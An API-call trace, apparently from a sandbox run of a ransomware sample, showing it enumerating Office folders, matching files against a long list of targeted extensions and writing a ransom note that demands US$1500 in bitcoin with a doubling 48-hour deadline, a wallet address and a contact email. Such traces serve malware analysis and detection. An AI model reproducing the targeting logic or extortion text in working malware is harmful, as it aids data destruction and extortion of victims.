0 [0065.699] lstrlenA (lpString="*.djvu") returned 6 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.tiff") returned 0 [0065.699] lstrlenA (lpString="*.tiff") returned 6 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.backup") returned 0 [0065.699] lstrlenA (lpString="*.backup") returned 8 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.pdf") returned 0 [0065.699] lstrlenA (lpString="*.pdf") returned 5 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.cert") returned 0 [0065.699] lstrlenA (lpString="*.cert") returned 6 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.docm") returned 0 [0065.699] lstrlenA (lpString="*.docm") returned 6 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.xlsm") returned 0 [0065.699] lstrlenA (lpString="*.xlsm") returned 6 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.dwg") returned 0 [0065.699] lstrlenA (lpString="*.dwg") returned 5 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.nd") returned 0 [0065.699] lstrlenA (lpString="*.nd") returned 4 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.tlg") returned 0 [0065.699] lstrlenA (lpString="*.tlg") returned 5 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.lgb") returned 0 [0065.699] lstrlenA (lpString="*.lgb") returned 5 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.mov") returned 0 [0065.699] lstrlenA (lpString="*.mov") returned 5 [0065.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.xdw") returned 0 [0065.700] lstrlenA (lpString="*.xdw") returned 5 [0065.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.ods") returned 0 [0065.700] lstrlenA (lpString="*.ods") returned 5 [0065.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.wav") returned 0 [0065.700] lstrlenA (lpString="*.wav") returned 5 [0065.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.mp3") returned 0 [0065.700] lstrlenA (lpString="*.mp3") returned 5 [0065.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.aiff") returned 0 [0065.700] lstrlenA (lpString="*.aiff") returned 6 [0065.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.flac") returned 0 [0065.700] lstrlenA (lpString="*.flac") returned 6 [0065.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.m4a") returned 0 [0065.700] lstrlenA (lpString="*.m4a") returned 5 [0065.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp", pszSpec="*.csv") returned 0 [0065.700] lstrlenA (lpString="*.csv") returned 5 [0065.700] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="IconImagesMask.bmp", cAlternateFileName="ICONIM~1.BMP")) returned 0 [0065.700] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0065.701] FindNextFileA (in: hFindFile=0x4f8278, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Welcome Tool", cAlternateFileName="WELCOM~1")) returned 0 [0065.701] FindClose (in: hFindFile=0x4f8278 | out: hFindFile=0x4f8278) returned 1 [0065.701] FindNextFileA (in: hFindFile=0x4f8120, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0065.701] FindClose (in: hFindFile=0x4f8120 | out: hFindFile=0x4f8120) returned 1 [0065.701] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0054, dwReserved1=0x3, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0065.701] lstrcmpA (lpString1=".", lpString2="ToolIcons") returned -1 [0065.701] lstrcmpA (lpString1="..", lpString2="ToolIcons") returned -1 [0065.701] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\*.*") returned="*.*" [0065.701] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\", lpString2="ToolIcons" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" [0065.701] lstrlenA (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons") returned 59 [0065.701] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720067, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0065.705] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0065.705] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.706] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0065.706] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0065.706] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ALERT.ICO", cAlternateFileName="")) returned 1 [0065.706] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.706] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ALERT.ICO") returned 1 [0065.706] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ALERT.ICO") returned 1 [0065.706] lstrcmpiA (lpString1="", lpString2="ALERT.ICO") returned -1 [0065.706] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*.*") returned="*.*" [0065.706] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.706] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.706] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.706] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0xffffffff [0065.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0065.707] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0065.707] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0065.708] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0065.708] CloseHandle (hObject=0x90) returned 1 [0065.708] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="ALERT.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO" [0065.708] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.ems") returned 0 [0065.709] lstrlenA (lpString="*.ems") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.db") returned 0 [0065.709] lstrlenA (lpString="*.db") returned 4 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.dbf") returned 0 [0065.709] lstrlenA (lpString="*.dbf") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.myox") returned 0 [0065.709] lstrlenA (lpString="*.myox") returned 6 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.myo") returned 0 [0065.709] lstrlenA (lpString="*.myo") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.qbw") returned 0 [0065.709] lstrlenA (lpString="*.qbw") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.qbb") returned 0 [0065.709] lstrlenA (lpString="*.qbb") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.qbm") returned 0 [0065.709] lstrlenA (lpString="*.qbm") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.qbo") returned 0 [0065.709] lstrlenA (lpString="*.qbo") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.qbx") returned 0 [0065.709] lstrlenA (lpString="*.qbx") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.qba") returned 0 [0065.709] lstrlenA (lpString="*.qba") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.qby") returned 0 [0065.709] lstrlenA (lpString="*.qby") returned 5 [0065.709] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.qbj") returned 0 [0065.710] lstrlenA (lpString="*.qbj") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.ofx") returned 0 [0065.710] lstrlenA (lpString="*.ofx") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.qif") returned 0 [0065.710] lstrlenA (lpString="*.qif") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.mye") returned 0 [0065.710] lstrlenA (lpString="*.mye") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.mbox") returned 0 [0065.710] lstrlenA (lpString="*.mbox") returned 6 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.eml") returned 0 [0065.710] lstrlenA (lpString="*.eml") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.pst") returned 0 [0065.710] lstrlenA (lpString="*.pst") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.ost") returned 0 [0065.710] lstrlenA (lpString="*.ost") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.idx") returned 0 [0065.710] lstrlenA (lpString="*.idx") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.dbx") returned 0 [0065.710] lstrlenA (lpString="*.dbx") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.sql") returned 0 [0065.710] lstrlenA (lpString="*.sql") returned 5 [0065.710] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.mdb") returned 0 [0065.710] lstrlenA (lpString="*.mdb") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.fdb") returned 0 [0065.711] lstrlenA (lpString="*.fdb") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.wab") returned 0 [0065.711] lstrlenA (lpString="*.wab") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.dat") returned 0 [0065.711] lstrlenA (lpString="*.dat") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.txt") returned 0 [0065.711] lstrlenA (lpString="*.txt") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.jpeg") returned 0 [0065.711] lstrlenA (lpString="*.jpeg") returned 6 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.jpg") returned 0 [0065.711] lstrlenA (lpString="*.jpg") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.png") returned 0 [0065.711] lstrlenA (lpString="*.png") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.php") returned 0 [0065.711] lstrlenA (lpString="*.php") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.cs") returned 0 [0065.711] lstrlenA (lpString="*.cs") returned 4 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.cpp") returned 0 [0065.711] lstrlenA (lpString="*.cpp") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.rar") returned 0 [0065.711] lstrlenA (lpString="*.rar") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.zip") returned 0 [0065.711] lstrlenA (lpString="*.zip") returned 5 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.html") returned 0 [0065.711] lstrlenA (lpString="*.html") returned 6 [0065.711] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.htm") returned 0 [0065.712] lstrlenA (lpString="*.htm") returned 5 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.xlsx") returned 0 [0065.712] lstrlenA (lpString="*.xlsx") returned 6 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.xls") returned 0 [0065.712] lstrlenA (lpString="*.xls") returned 5 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.mp4") returned 0 [0065.712] lstrlenA (lpString="*.mp4") returned 5 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.ppt") returned 0 [0065.712] lstrlenA (lpString="*.ppt") returned 5 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.pptx") returned 0 [0065.712] lstrlenA (lpString="*.pptx") returned 6 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.doc") returned 0 [0065.712] lstrlenA (lpString="*.doc") returned 5 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.dot") returned 0 [0065.712] lstrlenA (lpString="*.dot") returned 5 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.docx") returned 0 [0065.712] lstrlenA (lpString="*.docx") returned 6 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.7z") returned 0 [0065.712] lstrlenA (lpString="*.7z") returned 4 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.tar") returned 0 [0065.712] lstrlenA (lpString="*.tar") returned 5 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.bz2") returned 0 [0065.712] lstrlenA (lpString="*.bz2") returned 5 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.gz") returned 0 [0065.712] lstrlenA (lpString="*.gz") returned 4 [0065.712] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.mkv") returned 0 [0065.713] lstrlenA (lpString="*.mkv") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.eml") returned 0 [0065.713] lstrlenA (lpString="*.eml") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.msg") returned 0 [0065.713] lstrlenA (lpString="*.msg") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.edb") returned 0 [0065.713] lstrlenA (lpString="*.edb") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.accdb") returned 0 [0065.713] lstrlenA (lpString="*.accdb") returned 7 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.odb") returned 0 [0065.713] lstrlenA (lpString="*.odb") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.java") returned 0 [0065.713] lstrlenA (lpString="*.java") returned 6 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.asm") returned 0 [0065.713] lstrlenA (lpString="*.asm") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.pfx") returned 0 [0065.713] lstrlenA (lpString="*.pfx") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.pem") returned 0 [0065.713] lstrlenA (lpString="*.pem") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.p12") returned 0 [0065.713] lstrlenA (lpString="*.p12") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.gpg") returned 0 [0065.713] lstrlenA (lpString="*.gpg") returned 5 [0065.713] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.vsd") returned 0 [0065.713] lstrlenA (lpString="*.vsd") returned 5 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.odg") returned 0 [0065.714] lstrlenA (lpString="*.odg") returned 5 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.raw") returned 0 [0065.714] lstrlenA (lpString="*.raw") returned 5 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.nef") returned 0 [0065.714] lstrlenA (lpString="*.nef") returned 5 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.svg") returned 0 [0065.714] lstrlenA (lpString="*.svg") returned 5 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.psd") returned 0 [0065.714] lstrlenA (lpString="*.psd") returned 5 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.vmx") returned 0 [0065.714] lstrlenA (lpString="*.vmx") returned 5 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.vmdk") returned 0 [0065.714] lstrlenA (lpString="*.vmdk") returned 6 